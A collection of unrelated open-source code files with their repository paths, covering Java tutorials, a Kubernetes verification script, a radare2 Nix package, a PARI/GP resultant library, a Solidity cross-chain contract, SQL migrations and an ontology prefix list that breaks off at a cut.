ant-tasks_src_install() { java-pkg_dojar build/lib/${PN}.jar java-pkg_register-ant-task --version "${ANT_TASK_PV}" # create the compatibility symlink if ver_test -ge 1.7.1_beta2; then dodir /usr/share/ant/lib dosym /usr/share/${PN}/lib/${PN}.jar /usr/share/ant/lib/${PN}.jar fi }

Gentoo Eclass

NighttimeDriver50000/Sabayon-Packages

local_overlay/eclass/ant-tasks.eclass

#!/usr/bin/env bash # Copyright 2021 The Kubernetes Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # This script checks if the "net" stdlib IP and CIDR parsers are used # instead of the ones forked in k8s.io/utils/net to parse IP addresses # because of the compatibility break introduced in golang 1.17 # Reference: #100895 # Usage: `hack/verify-netparse-cve.sh`. set -o errexit set -o nounset set -o pipefail KUBE_ROOT=$(dirname "${BASH_SOURCE[0]}")/.. source "${KUBE_ROOT}/hack/lib/init.sh" cd "${KUBE_ROOT}" rc=0 find_files() { find . -not \( \ \( \ -wholename './output' \ -o -wholename './.git' \ -o -wholename './_output' \ -o -wholename './_gopath' \ -o -wholename './release' \ -o -wholename './target' \ -o -wholename '*/third_party/*' \ -o -wholename '*/vendor/*' \ -o -wholename './staging/src/k8s.io/client-go/*vendor/*' \ \) -prune \ \) -name '*.go' } # find files using net.ParseIP() netparseip_matches=$(find_files | xargs grep -nE "net.ParseIP\(.*\)" 2>/dev/null) || true if [[ -n "${netparseip_matches}" ]]; then echo "net.ParseIP reject leading zeros in the dot-decimal notation of IPv4 addresses since golang 1.17:" >&2 echo "${netparseip_matches}" >&2 echo >&2 echo "Use k8s.io/utils/net ParseIPSloppy() to parse IP addresses. Kubernetes #100895" >&2 echo >&2 echo "Run ./hack/update-netparse-cve.sh" >&2 echo >&2 rc=1 fi # find files using net.ParseCIDR() netparsecidrs_matches=$(find_files | xargs grep -nE "net.ParseCIDR\(.*\)" 2>/dev/null) || true if [[ -n "${netparsecidrs_matches}" ]]; then echo "net.ParseCIDR reject leading zeros in the dot-decimal notation of IPv4 addresses since golang 1.17:" >&2 echo "${netparsecidrs_matches}" >&2 echo >&2 echo "Use k8s.io/utils/net ParseCIDRSloppy() to parse network CIDRs. Kubernetes #100895" >&2 echo >&2 echo "Run ./hack/update-netparse-cve.sh" >&2 echo >&2 rc=1 fi exit $rc

Shell

767829413/kubernetes

hack/verify-netparse-cve.sh

package com.baeldung.accessmodifiers.another; import com.baeldung.accessmodifiers.SuperPublic; public class AnotherSubClass extends SuperPublic { public AnotherSubClass() { SuperPublic.publicMethod(); // Available everywhere. SuperPublic.protectedMethod(); // Available in subclass. Let's note different package. } }

Java

zeesh49/tutorials

core-java/src/main/java/com/baeldung/accessmodifiers/another/AnotherSubClass.java

// Copyright© Dokit for Flutter. All rights reserved. // // byte_util.dart // Flutter // // Created by linusflow on 2021/3/05 // Modified by linusflow on 2021/5/11 上午10:39 // String toByteString(int? bytes) { if (bytes == null) { return '0'; } if (bytes <= (1 << 10)) { return '${bytes}B'; } else if (bytes <= (1 << 20)) { return '${(bytes >> 10).toStringAsFixed(2)}K'; } else { return '${(bytes >> 20).toStringAsFixed(2)}M'; } }

Dart

didichuxing/DoraemonKit

Flutter/lib/util/byte_util.dart

{ lib , stdenv , fetchFromGitHub , buildPackages , pkg-config , libusb-compat-0_1 , readline , libewf , perl , zlib , openssl , libuv , file , libzip , xxHash , gtk2 , vte , gtkdialog , python3 , ruby , lua , capstone , useX11 ? false , rubyBindings ? false , pythonBindings ? false , luaBindings ? false }: let # FIXME: Compare revision with https://github.com/radareorg/radare2/blob/master/libr/asm/arch/arm/v35arm64/Makefile#L20 arm64 = fetchFromGitHub { owner = "radareorg"; repo = "vector35-arch-arm64"; rev = "3c5eaba46dab72ecb7d5f5b865a13fdeee95b464"; sha256 = "sha256-alcGEi+D8CptXzfznnuxQKCvU2mbzn2sQge5jSqLVpg="; }; armv7 = fetchFromGitHub { owner = "radareorg"; repo = "vector35-arch-armv7"; rev = "dde39f69ffea19fc37e681874b12cb4707bc4f30"; sha256 = "sha256-bnWQc0dScM9rhIdzf+iVXvMqYWq/bguEAUQPaZRgdlU="; }; in stdenv.mkDerivation rec { pname = "radare2"; version = "5.5.4"; src = fetchFromGitHub { owner = "radare"; repo = "radare2"; rev = version; sha256 = "sha256-zELmNpbT1JCt0UAzHwzcTDN9QZTLQY0+rG9zVRWxiFg="; }; preBuild = '' cp -r ${arm64} libr/asm/arch/arm/v35arm64/arch-arm64 chmod -R +w libr/asm/arch/arm/v35arm64/arch-arm64 cp -r ${armv7} libr/asm/arch/arm/v35arm64/arch-armv7 chmod -R +w libr/asm/arch/arm/v35arm64/arch-armv7 ''; postFixup = lib.optionalString stdenv.isDarwin '' for file in $out/bin/rasm2 $out/bin/ragg2 $out/bin/rabin2 $out/lib/libr_asm.${version}.dylib; do install_name_tool -change libcapstone.4.dylib ${capstone}/lib/libcapstone.4.dylib $file done ''; postInstall = '' install -D -m755 $src/binr/r2pm/r2pm $out/bin/r2pm ''; WITHOUT_PULL = "1"; makeFlags = [ "GITTAP=${version}" "RANLIB=${stdenv.cc.bintools.bintools}/bin/${stdenv.cc.bintools.targetPrefix}ranlib" "CC=${stdenv.cc.targetPrefix}cc" "HOST_CC=${stdenv.cc.targetPrefix}cc" ]; configureFlags = [ "--with-sysmagic" "--with-syszip" "--with-sysxxhash" "--with-syscapstone" "--with-openssl" ]; enableParallelBuilding = true; depsBuildBuild = [ buildPackages.stdenv.cc ]; nativeBuildInputs = [ pkg-config ]; buildInputs = [ capstone file readline libusb-compat-0_1 libewf perl zlib openssl libuv ] ++ lib.optional useX11 [ gtkdialog vte gtk2 ] ++ lib.optional rubyBindings [ ruby ] ++ lib.optional pythonBindings [ python3 ] ++ lib.optional luaBindings [ lua ]; propagatedBuildInputs = [ # radare2 exposes r_lib which depends on these libraries file # for its list of magic numbers (`libmagic`) libzip xxHash ]; meta = with lib; { description = "unix-like reverse engineering framework and commandline tools"; homepage = "https://radare.org/"; license = licenses.gpl2Plus; maintainers = with maintainers; [ raskin makefu mic92 arkivm ]; platforms = platforms.unix; }; }

Nix

siddhantk232/nixpkgs

pkgs/development/tools/analysis/radare2/default.nix

# Check that identifiers can begin with keyword prefixes # # `input` starts with `in`, which is a keyword let input = 1 in input

Grace

DebugSteven/grace

tasty/data/complex/keyword-prefix-input.grace

package com.baeldung.jsondateformat; import com.fasterxml.jackson.annotation.JsonFormat; import java.time.LocalDate; import java.time.LocalDateTime; public class Contact { private String name; private String address; private String phone; @JsonFormat(pattern="yyyy-MM-dd") private LocalDate birthday; @JsonFormat(pattern="yyyy-MM-dd HH:mm:ss") private LocalDateTime lastUpdate; public String getName() { return name; } public void setName(String name) { this.name = name; } public String getAddress() { return address; } public void setAddress(String address) { this.address = address; } public String getPhone() { return phone; } public void setPhone(String phone) { this.phone = phone; } public LocalDate getBirthday() { return birthday; } public void setBirthday(LocalDate birthday) { this.birthday = birthday; } public LocalDateTime getLastUpdate() { return lastUpdate; } public void setLastUpdate(LocalDateTime lastUpdate) { this.lastUpdate = lastUpdate; } public Contact() { } public Contact(String name, String address, String phone, LocalDate birthday, LocalDateTime lastUpdate) { this.name = name; this.address = address; this.phone = phone; this.birthday = birthday; this.lastUpdate = lastUpdate; } }

Java

DBatOWL/tutorials

spring-boot-modules/spring-boot/src/main/java/com/baeldung/jsondateformat/Contact.java

package com.baeldung.algorithms.counting; import java.util.Arrays; import java.util.stream.IntStream; public class CountingSort { public static int[] sort(int[] input, int k) { verifyPreconditions(input, k); if (input.length == 0) return input; int[] c = countElements(input, k); int[] sorted = new int[input.length]; for (int i = input.length - 1; i >= 0; i--) { int current = input[i]; sorted[c[current] - 1] = current; c[current] -= 1; } return sorted; } static int[] countElements(int[] input, int k) { int[] c = new int[k + 1]; Arrays.fill(c, 0); for (int i : input) { c[i] += 1; } for (int i = 1; i < c.length; i++) { c[i] += c[i - 1]; } return c; } private static void verifyPreconditions(int[] input, int k) { if (input == null) { throw new IllegalArgumentException("Input is required"); } int min = IntStream.of(input).min().getAsInt(); int max = IntStream.of(input).max().getAsInt(); if (min < 0 || max > k) { throw new IllegalArgumentException("The input numbers should be between zero and " + k); } } }

Java

DBatOWL/tutorials

algorithms-sorting/src/main/java/com/baeldung/algorithms/counting/CountingSort.java

;; test_xml.nu ;; tests for Nu usage of NSXMLDocument. ;; ;; Copyright (c) 2011 Tim Burks, Radtastical Inc. (unless (eq (uname) "iOS") (class TestXML is NuTestCase (- (id) testNoCrash is (set xmlText "<sample><one/><two/><three/></sample>") (set xmlData (xmlText dataUsingEncoding:NSUTF8StringEncoding)) (set doc ((NSXMLDocument alloc) initWithData:xmlData options:0 error:nil)))))

Nu

mattbeshara/nu

test/test_xml.nu

describe "foo [000]", -> it "bars [001]", -> expect("foo.coffee").to.equal("foo.coffee") it 'quux [002]'

CoffeeScript

mm73628486283/cypress

system-tests/projects/ids/cypress/integration/foo.coffee

export default () => <div>Build</div>

JavaScript

blomqma/next.js

test/integration/build-warnings/pages/index.js

'reach 0.1'; export const main = Reach.App( {}, [ Participant('Alice', { ...hasRandom, look: Fun([ UInt, UInt, UInt, UInt, UInt, UInt, UInt, UInt, UInt, UInt, UInt, UInt, UInt, UInt, UInt, UInt, UInt, ], Null), }), ], (A) => { A.only(() => { const v0 = declassify(interact.random()); const v1 = declassify(interact.random()); const v2 = declassify(interact.random()); const v3 = declassify(interact.random()); const v4 = declassify(interact.random()); const v5 = declassify(interact.random()); const v6 = declassify(interact.random()); const v7 = declassify(interact.random()); const v8 = declassify(interact.random()); const v9 = declassify(interact.random()); const vA = declassify(interact.random()); const vB = declassify(interact.random()); const vC = declassify(interact.random()); const vD = declassify(interact.random()); const vE = declassify(interact.random()); const vF = declassify(interact.random()); }); A.publish( v0, v1, v2, v3, v4, v5, v6, v7, v8, v9, vA, vB, vC, vD, vE, vF ); const vs = (v0 % 2) + (v1 % 2) + (v2 % 2) + (v3 % 2) + (v4 % 2) + (v5 % 2) + (v6 % 2) + (v7 % 2) + (v8 % 2) + (v9 % 2) + (vA % 2) + (vB % 2) + (vC % 2) + (vD % 2) + (vE % 2) + (vF % 2); if ( vs % 2 == 0 ) { commit(); A.publish(); } commit(); A.only(() => interact.look( v0, v1, v2, v3, v4, v5, v6, v7, v8, v9, vA, vB, vC, vD, vE, vF, vs )); exit(); } );

RenderScript

chikeabuah/reach-lang

examples/many-args/index.rsh

/*############################################################################## HPCC SYSTEMS software Copyright (C) 2012 HPCC Systems®. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ############################################################################## */ rec := RECORD STRING5 name; INTEGER2 i; END; rec zero(rec l) := TRANSFORM SELF.i := 0; SELF := l; END; rec sumi(rec l, rec r) := TRANSFORM SELF.i := l.i + r.i; SELF := l; END; raw := DATASET([{'adam', 23}, {'eve', 26}, {'adam', 9}, {'eve', 19}, {'adam', 0} , {'eve', 10}, {'adam', 4}, {'eve', 10}], rec); inp := GROUP(SORT(raw, name, i), name); names := PROJECT(DEDUP(inp, name), zero(LEFT)); denorm := DENORMALIZE(names, inp, (LEFT.name = RIGHT.name) AND (LEFT.i < 30), sumi(LEFT, RIGHT)); OUTPUT(denorm);

ECL

miguelvazq/HPCC-Platform

testing/regress/ecl/denormalize1.ecl

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ \\ Copyright (C) 2014 Denis Simon \\ \\ Distributed under the terms of the GNU General Public License (GPL) \\ \\ This code is distributed in the hope that it will be useful, \\ but WITHOUT ANY WARRANTY; without even the implied warranty of \\ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU \\ General Public License for more details. \\ \\ The full text of the GPL is available at: \\ \\ http://www.gnu.org/licenses/ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ /* Auteur : Denis SIMON -> [email protected] adresse du fichier : www.math.unicaen.fr/~simon/resultant3.gp ********************************************* * VERSION 13/01/2014 * ********************************************* Ce fichier gp contient des fonctions pour calculer le resultant de trois polynomes p1, p2, p3 homogenes en trois variables (toujours x,y,z), ainsi que le discriminant d'un polynome homogene en ces trois variables. L'algorithme utilise est celui du sous-resultant. exemple d'utilisation : ? p1=x^2-3*z^2+y*z;p2=x-y+15*z;p3=y^2*x+z^3-x*y*z+x^2*z; ? resultant3([p1,p2,p3]) %2 = 521784 ? discriminant3(p3) %3 = -63 la fonction hom sert a rendre homogene un polynome en x et y: ? ell=y^2-y-x^3+x^2; ? discriminant3(hom(ell)) %5 = -11 */ global(DEBUGLEVEL_res):small; DEBUGLEVEL_res = 0; \\ si DEBUGLEVEL_res = 1 : afficher des resultats intermediaires. \\ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ \\ SCRIPT \\ \\ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ {default_res( DEBUGLEVEL_res_val:small = 0 ) = DEBUGLEVEL_res = DEBUGLEVEL_res_val; print(" DEBUGLEVEL_res = ",DEBUGLEVEL_res); } {hom(p) = p = substvec(p,['x,'y],['x/'z,'y/'z]); p /= 'z^valuation(p,'z); return(p); } {degreetot(p) = \\ degre d'un polynome homogene. my(auxdeg,auxp); auxdeg = poldegree(p,'x); auxp = pollead(p,'x); auxdeg += poldegree(auxp,'y); auxp = pollead(auxp,'y); auxdeg += poldegree(auxp,'z); auxp = pollead(auxp,'z); return(auxdeg); } {ex( vec, i, j) = my(aux); aux = vec[i]; vec[i] = vec[j]; vec[j] = aux; return(vec); } {mycontent(p) = my(vz,co,dco); vz = valuation(p,'z); p = subst(p,'z,1); co = content(p); dco = poldegree(co,'y); if( dco, co = subst(co,'y,'y/'z)*'z^dco); return(co*'z^vz); } {myresultant2( p, q) = my(dp,dq,valp,valq,auxr,auxp,auxq,res); if( p==0 || q==0, return(0)); dp = degreetot(p); valp = valuation(p,'y); dq = degreetot(q); valq = valuation(q,'y); if( valp && valq, return(0)); auxr = 1; if( valp, if(dq%2 && valp%2, auxr = -1); auxr *= pollead(q,'x)^valp ); if( valq, auxr = pollead(p,'x)^valq ); auxp = subst(p,'y,1); auxq = subst(q,'y,1); res = auxr*polresultant(auxp,auxq,'x); return(res); } {resultantcomp(vp=['x,'y,'z]) = \\ les vp[i] sont des pol homogenes en x,y et z. \\ vp[3] ne depend que de y et z. my(p,q,rt,dp,dq,drt,vy,vz,lrt,lp,res,aux,res2,dres2); p = vp[1]; q = vp[2]; rt = vp[3]; if( p==0 || q==0 || rt==0, return(0)); dp = degreetot(p); dq = degreetot(q); drt = degreetot(rt); if( drt == 0, return(rt^(dp*dq))); vy = valuation(rt,'y); vz = valuation(rt,'z); rt = subst(rt,'y,1); if( vz, rt /= 'z^vz); lrt = polcoeff(rt,drt,'z); lp = polcoeff(p,dp,'x); res = 1; if( lp == 0, aux = p; p = q; q = aux; aux = dp; dp = dq; dq = aux; if( dp%2 && dq%2 && drt%2, res = -res); lp = polcoeff(p,dp,'x); if( lp == 0, return(0)) ); if( vy, if( dp%2 && dq%2, res2 = -1, res2 = 1); res2 *= myresultant2(subst(subst(p,'y,0),'z,'y),subst(subst(q,'y,0),'z,'y)); res2 *= myresultant2(subst(subst(p,'y,0),'z,'y),subst(subst(q,'y,0),'z,'y)); if( res2 == 0, return(0)); res *= res2^vy ); if( vz, res2 = myresultant2(subst(p,'z,0),subst(q,'z,0)); if( res2 == 0, return(0)); res *= res2^vz ); drt -= vy+vz; if( drt == 0, return(res*rt^(dp*dq))); res2 = polresultant(subst(p,'y,1),subst(q,'y,1),'x); dres2 = poldegree(res2,'z); res2 = polresultant(rt,res2,'z); res *= res2; if( dq != poldegree(subst(q,'y,1),'x), res *= lp^(drt*(dq-poldegree(subst(q,'y,1),'x)))); if( dres2 != dp*dq, res *= pollead(rt,'z)^(dp*dq-dres2)); return(res); } {resultant3(vp=['x,'y,'z]) = \\ resultant de 3 polynomes homogenes en x,y,z. \\ on travaille sur la variable x. my(vdt,vdx,prodd,s,denom,nume,lp,p0,q0,r0,dd,cq,rm,res,delta); for( i = 1, 3, if( vp[i] == 0, return(0))); vdt = vector(3,i,degreetot(vp[i])); vdx = vector(3,i,poldegree(vp[i],'x)); if( vecmin(vdt-vdx), return(0)); \\ en effet, dans ce cas, les polynomes sont dans l'ideal <y,z> prodd = prod( i = 1, 3, vdt[i]); s = 1; denom = 1; nume = 1; \\ on echange pour que vdx[1] >= vdx[2] >= vdx[3] if(vdx[1]<vdx[2] || (vdx[1]==vdx[2] && vdt[1]<vdt[2]), vp = ex(vp,1,2); vdx = ex(vdx,1,2); vdt = ex(vdt,1,2); if( prodd%2, s *= -1) ); if(vdx[1]<vdx[3] || (vdx[1]==vdx[3] && vdt[1]<vdt[3]), vp = ex(vp,1,3); vdx = ex(vdx,1,3); vdt = ex(vdt,1,3); if( prodd%2, s *= -1) ); if(vdx[2]<vdx[3] || (vdx[2]==vdx[3] && vdt[2]<vdt[3]), vp = ex(vp,2,3); vdx = ex(vdx,2,3); vdt = ex(vdt,2,3); if( prodd%2, s *= -1) ); \\ cas particulier ou vp[3] est constant if( vdt[3]==0, return(vp[3]^(vdt[1]*vdt[2])*s)); \\ on fait un echange pour que vp[1] contienne le monome x^vdt[1] lp = polcoeff(vp[1],vdt[1],'x); if( lp == 0, lp = polcoeff(vp[2],vdt[2],'x); if( lp == 0, lp = polcoeff(vp[3],vdt[3],'x); if( lp == 0, return(0)); vp = ex(vp,1,3); vdx = ex(vdx,1,3); vdt = ex(vdt,1,3); if( prodd%2, s *= -1) , vp = ex(vp,1,2); vdx = ex(vdx,1,2); vdt = ex(vdt,1,2); if( prodd%2, s *= -1) )); \\ on supprime de vp[1] les puissances de x p0 = polcoeff(vp[1],0,'x); q0 = polcoeff(vp[2],0,'x); r0 = polcoeff(vp[3],0,'x); while( p0 == 0, vp[1] /= 'x; vdx[1] -= 1; vdt[1] -= 1; p0 = polcoeff(vp[1],0,'x); nume *= myresultant2(subst(subst(q0,'y,'x),'z,'y),subst(subst(r0,'y,'x),'z,'y)) ); if( nume == 0, return(0)); dd = vecmax(vdx)+1; while( vdx[3], if(DEBUGLEVEL_res, print("vp = "vp)); if(DEBUGLEVEL_res, print("vdx = "vdx)); if(DEBUGLEVEL_res, print("vdt = "vdt)); if(DEBUGLEVEL_res, print([nume,denom])); if( denom == 0, error("denom = 0")); if( nume == 0, return(0)); for( i = 2, 3, if(vp[i] == 0, return(0))); q0 = polcoeff(vp[2],0,'x); if( q0 == 0, \\ si vp[2] est divisible par x vp[2] /= 'x; vdx[2] -= 1; vdt[2]-=1; nume *= myresultant2(subst(subst(r0,'y,'x),'z,'y),subst(subst(p0,'y,'x),'z,'y)); next ); r0 = polcoeff(vp[3],0,'x); if( r0 == 0, \\ si vp[3] est divisible par x vp[3] /= 'x; vdx[3] -= 1; vdt[3] -= 1; nume *= myresultant2(subst(subst(p0,'y,'x),'z,'y),subst(subst(q0,'y,'x),'z,'y)); next ); \\ on enleve le contenu cq = mycontent(vp[2]); if( cq != 1, nume *= resultantcomp([vp[3],vp[1],cq]); vp[2] /= cq; vdt[2] -= poldegree(cq); next ); cq = mycontent(vp[3]); if( cq != 1, nume *= resultantcomp([vp[1],vp[2],cq]); vp[3] /= cq; vdt[3] -= poldegree(cq); next ); rm = pollead(vp[3],'x); \\ le coefficient dominant de vp[3]. res = resultantcomp([vp[1],vp[3]-rm*'x^vdx[3],rm]); if( res == 0, error("sorry, case not implemented")); \\ ce cas est-il possible ? if(vdt[1]%2 && vdt[3]%2 && degreetot(rm)%2, res *= -1); \\ on baisse le degre de vp[2] en retranchant des multiples de vp[3]. while( vdx[3] <= vdx[2], delta = vdx[2]-vdx[3]; lp = pollead(vp[2],'x); vp[2] = simplify(rm*vp[2]-lp*vp[3]*'x^delta); vdx[2] = poldegree(vp[2],'x); denom *= res ); vdt[2] = degreetot(vp[2]); prodd = prod(i=1,3,vdt[i]); vp = ex(vp,2,3); vdx = ex(vdx,2,3); vdt = ex(vdt,2,3); if( prodd%2, s *= -1); ); vp[3] = polcoeff(vp[3],0,'x); nume *= resultantcomp(vp); if(DEBUGLEVEL_res, print([nume,denom])); return(simplify(s*nume/denom)); } {discriminant3(p)= \\ discriminant d'un pol homogene en 3 variables x, y et z. my(dp,normal,re); dp = degreetot(p); normal = dp^(dp^2-3*dp+3)*(-1)^(dp*(dp-1)/2); re = resultant3([deriv(p,'x),deriv(p,'y),deriv(p,'z)]); if( re == 'x, return(0)); return(re/normal); }

Gnuplot

bopopescu/sage

src/ext/pari/simon/resultant3.gp

// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.6.0) (crosschain/arbitrum/CrossChainEnabledArbitrumL1.sol) pragma solidity ^0.8.4; import "../CrossChainEnabled.sol"; import "./LibArbitrumL1.sol"; /** * @dev https://arbitrum.io/[Arbitrum] specialization or the * {CrossChainEnabled} abstraction the L1 side (mainnet). * * This version should only be deployed on L1 to process cross-chain messages * originating from L2. For the other side, use {CrossChainEnabledArbitrumL2}. * * The bridge contract is provided and maintained by the arbitrum team. You can * find the address of this contract on the rinkeby testnet in * https://developer.offchainlabs.com/docs/useful_addresses[Arbitrum's developer documentation]. * * _Available since v4.6._ */ abstract contract CrossChainEnabledArbitrumL1 is CrossChainEnabled { /// @custom:oz-upgrades-unsafe-allow state-variable-immutable address private immutable _bridge; /// @custom:oz-upgrades-unsafe-allow constructor constructor(address bridge) { _bridge = bridge; } /** * @dev see {CrossChainEnabled-_isCrossChain} */ function _isCrossChain() internal view virtual override returns (bool) { return LibArbitrumL1.isCrossChain(_bridge); } /** * @dev see {CrossChainEnabled-_crossChainSender} */ function _crossChainSender() internal view virtual override onlyCrossChain returns (address) { return LibArbitrumL1.crossChainSender(_bridge); } }

Solidity

rand0mbyte/openzeppelin-contracts

contracts/crosschain/arbitrum/CrossChainEnabledArbitrumL1.sol

v >0 > v > v : 5 >&10p0>:10g\`! | 2 v02 -1& < * >p20g1g1+20g1pv 5 ^ +1 < * 9 + + ` 1 ! ^p1\0:_$^ @ < v$ < >0>:52*5*9+` | v < >:30p;1g >v < < : - >30g1g ^! 1 ^vp03+1g03$_30g1+.25*3*2+,^ >30g25*6*-v ^ _ ^

Befunge

SuprDewd/BefungeSimulator

befunge_code/codeforces_130/i.befunge

-- The user_version should match the "000X" from the file name -- Ex: 0001_create_notebooks_table should have a user_verison of 1 PRAGMA user_version=2; -- Create the initial table to store streams CREATE TABLE streams ( id VARCHAR(16) PRIMARY KEY, org_id VARCHAR(16) NOT NULL, name TEXT NOT NULL, description TEXT NOT NULL, created_at TIMESTAMP NOT NULL, updated_at TIMESTAMP NOT NULL, CONSTRAINT streams_uniq_orgid_name UNIQUE (org_id, name) ); -- Create the initial table to store annotations CREATE TABLE annotations ( id VARCHAR(16) PRIMARY KEY, org_id VARCHAR(16) NOT NULL, stream_id VARCHAR(16) NOT NULL, summary TEXT NOT NULL, message TEXT NOT NULL, stickers TEXT NOT NULL, duration TEXT NOT NULL, lower TIMESTAMP NOT NULL, upper TIMESTAMP NOT NULL, FOREIGN KEY (stream_id) REFERENCES streams(id) ON DELETE CASCADE ); -- Create indexes for stream_id and stickers to support fast queries CREATE INDEX idx_annotations_stream ON annotations (stream_id); CREATE INDEX idx_annotations_stickers ON annotations (stickers);

SQL

yujiahaol68/influxdb

sqlite/migrations/0002_create_annotations_tables.sql

fragment AnotherUserFragment on User { address email }

GraphQL

johanberonius/parcel

packages/core/integration-tests/test/integration/graphql-import/another.graphql

Prefix: AQTL: <http://identifiers.org/animalqtl/> Prefix: AQTLPub: <http://www.animalgenome.org/cgi-bin/QTLdb/BT/qabstract?PUBMED_ID=> Prefix: AQTLTrait: <http://identifiers.org/animalqtltrait/> Prefix: Annotation: <http://www.w3.org/ns/oa#Annotation> Prefix: BFO: <http://purl.obolibrary.org/obo/BFO_> Prefix: BIOGRID: <http://thebiogrid.org/> Prefix: CCDS: <http://www.ncbi.nlm.nih.gov/CCDS/CcdsBrowse.cgi?REQUEST=CCDS&DATA=> Prefix: CGD: <http://ohsu.edu/cgd/> Prefix: CHEBI: <http://purl.obolibrary.org/obo/CHEBI_> Prefix: CHR: <http://purl.obolibrary.org/obo/CHR_> Prefix: CID: <http://pubchem.ncbi.nlm.nih.gov/compound/> Prefix: CL: <http://purl.obolibrary.org/obo/CL_> Prefix: CLO: <http://purl.obolibrary.org/obo/CLO_> Prefix: CMO: <http://purl.obolibrary.org/obo/CMO_> Prefix: COSMIC: <http://cancer.sanger.ac.uk/cosmic/mutation/overview?id=> Prefix: ClinVar: <http://www.ncbi.nlm.nih.gov/clinvar/> Prefix: ClinVarVariant: <http://www.ncbi.nlm.nih.gov/clinvar/variation/> Prefix: Coriell: <https://catalog.coriell.org/0/Sections/Search/Sample_Detail.aspx?Ref=> Prefix: CoriellCollection: <https://catalog.coriell.org/1/> Prefix: CoriellFamily: <https://catalog.coriell.org/0/Sections/BrowseCatalog/FamilyTypeSubDetail.aspx?fam=> Prefix: CoriellIndividual: <https://catalog.coriell.org/Search?q=> Prefix: DATA: <http://edamontology.org/data_> Prefix: DECIPHER: <http://purl.obolibrary.org/obo/DECIPHER_> Prefix: DOI: <http://dx.doi.org/> Prefix: DOID: <http://purl.obolibrary.org/obo/DOID_> Prefix: DrugBank: <http://www.drugbank.ca/drugs/> Prefix: EC: <http://identifiers.org/ec-code/> Prefix: ECO: <http://purl.obolibrary.org/obo/ECO_> Prefix: EFO: <http://www.ebi.ac.uk/efo/EFO_> Prefix: ENSEMBL: <http://identifiers.org/ensembl/> Prefix: EOM: <http://purl.obolibrary.org/obo/EOM_> Prefix: ERO: <http://purl.obolibrary.org/obo/ERO_> Prefix: EcoGene: <http://ecogene.org/gene/> Prefix: FlyBase: <http://identifiers.org/FB:> Prefix: GENO: <http://purl.obolibrary.org/obo/GENO_> Prefix: GO: <http://purl.obolibrary.org/obo/GO_> Prefix: GenBank: <http://www.ncbi.nlm.nih.gov/nuccore/> Prefix: GeneReviews: <http://www.ncbi.nlm.nih.gov/books/> Prefix: HGMD: <http://identifiers.org/hgmd/> Prefix: HGNC: <http://identifiers.org/hgnc/HGNC:> Prefix: HP: <http://purl.obolibrary.org/obo/HP_> Prefix: HPO: <http://human-phenotype-ontology.org/> Prefix: HPRD: <http://www.hprd.org/protein/> Prefix: IAO: <http://purl.obolibrary.org/obo/IAO_> Prefix: IMPC: <http://www.mousephenotype.org/data/genes/> Prefix: ISBN: <http://www.monarchinitiative.org/ISBN_> Prefix: ISBN-10: <http://www.monarchinitiative.org/ISBN10_> Prefix: ISBN-13: <http://www.monarchinitiative.org/ISBN13_> Prefix: ISBN-15: <http://www.monarchinitiative.org/ISBN15_> Prefix: J: <http://www.informatics.jax.org/reference/J:> Prefix: JAX: <http://jaxmice.jax.org/strain/> Prefix: KEGG-ds: <http://purl.obolibrary.org/KEGG-ds_> Prefix: KEGG-hsa: <http://www.kegg.jp/dbget-bin/www_bget?hsa:> Prefix: KEGG-ko: <http://www.kegg.jp/dbget-bin/www_bget?ko:> Prefix: KEGG-path: <http://www.kegg.jp/dbget-bin/www_bget?path:> Prefix: MA: <http://purl.obolibrary.org/obo/MA_> Prefix: MESH: <http://purl.obolibrary.org/obo/MESH_> Prefix: MGI: <http://www.informatics.jax.org/accession/MGI:> Prefix: MONARCH: <http://www.monarchinitiative.org/MONARCH_> Prefix: MP: <http://purl.obolibrary.org/obo/MP_> Prefix: MedGen: <http://www.ncbi.nlm.nih.gov/medgen/> Prefix: MonarchArchive: <http://archive.monarchinitiative.org/ttl/> Prefix: MonarchData: <http://data.monarchinitiative.org/ttl/> Prefix: NCBIAssembly: <http://www.ncbi.nlm.nih.gov/assembly/> Prefix: NCBIGene: <http://www.ncbi.nlm.nih.gov/gene/> Prefix: NCBIGenome: <http://www.ncbi.nlm.nih.gov/genome/> Prefix: NCBIProtein: <http://www.ncbi.nlm.nih.gov/protein/> Prefix: NCBITaxon: <http://purl.obolibrary.org/obo/NCBITaxon_> Prefix: OBAN: <http://purl.org/oban/> Prefix: OBO: <http://purl.obolibrary.org/obo/> Prefix: OIO: <http://www.geneontology.org/formats/oboInOwl#> Prefix: OMIM: <http://purl.obolibrary.org/obo/OMIM_> Prefix: Orphanet: <http://www.orpha.net/ORDO/Orphanet_> Prefix: PANTHER: <http://www.pantherdb.org/panther/family.do?clsAccession=> Prefix: PATO: <http://purl.obolibrary.org/obo/PATO_> Prefix: PCO: <http://purl.obolibrary.org/obo/PCO_> Prefix: PDB: <http://identifiers.org/PDB:> Prefix: PMCID: <http://www.ncbi.nlm.nih.gov/pmc/> Prefix: PMID: <http://www.ncbi.nlm.nih.gov/pubmed/> Prefix: PR: <http://purl.obolibrary.org/obo/PR_> Prefix: PT: <http://www.animalgenome.org/cgi-bin/amido/term-details.cgi?term=PT:> Prefix: PW: <http://purl.obolibrary.org/obo/PW_> Prefix: PomBase: <http://identifiers.org/PomBase:> Prefix: REACT: <http://www.reactome.org/PathwayBrowser/#REACT_> Prefix: RGD: 